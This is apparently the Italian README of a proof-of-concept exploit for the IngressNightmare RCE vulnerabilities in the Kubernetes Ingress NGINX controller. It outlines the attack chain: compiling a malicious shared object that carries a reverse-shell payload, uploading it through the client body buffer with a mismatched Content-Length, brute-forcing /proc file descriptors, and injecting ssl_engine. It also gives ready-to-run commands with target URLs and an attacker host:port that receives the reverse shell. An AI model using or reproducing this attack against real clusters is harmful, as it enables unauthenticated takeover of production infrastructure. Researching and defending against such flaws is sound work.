
Poc per Ingress RCE
Questo progetto fornisce un exploit mirato a vulnerabilità critiche di esecuzione remota di codice (RCE) non autenticata nel controller Ingress NGINX per Kubernetes, note collettivamente come IngressNightmare.
Nella ricerca originale, il team di Wiz non ha fornito un PoC o un exploit funzionante, quindi abbiamo deciso di crearne uno nostro e condividerlo con la community.
Il controller Ingress NGINX è un componente ampiamente utilizzato negli ambienti Kubernetes, che gestisce l'accesso esterno ai servizi all'interno dei cluster. Recenti vulnerabilità (CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974) hanno evidenziato rischi di sicurezza critici.
L'exploit segue questi passaggi principali:
Genera oggetto condiviso (usato dalla proprietà ssl_engine iniettata):
Compila una libreria .so (evil_engine.so) contenente il payload della reverse shell.
Carica l'oggetto condiviso:
Invia l'oggetto condiviso compilato al pod ingress, sfruttando la gestione delle richieste (client body buffer). Il trucco qui è inviare un Content-Length diverso al server per mantenere la connessione aperta.
Brute-force su fd: Itera sugli ID di processo e sui descrittori di file (/proc/{pid}/fd/{fd}) per identificare il descrittore corretto che fa riferimento all'oggetto caricato.
Utilizzo
Prerequisiti:
Esegui l'exploit:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)
Es: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
A volte l'admission webhook si trova in un namespace diverso. In questo caso, devi specificare il namespace alla fine, ad esempio kube-system, default o ingress-nginx.
<ingress_url>: URL Ingress di destinazione (pubblico)<admission_webhook_url>: URL dell'admission webhook (webhook interno)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port): Il tuo host e la porta per la reverse shellDisclaimer
Questo exploit è fornito strettamente a scopo educativo e di ricerca. L'uso non autorizzato di questo strumento contro target senza esplicito permesso è proibito. Hakai Security e QuimeraX non si assumono alcuna responsabilità per un uso improprio di questo strumento.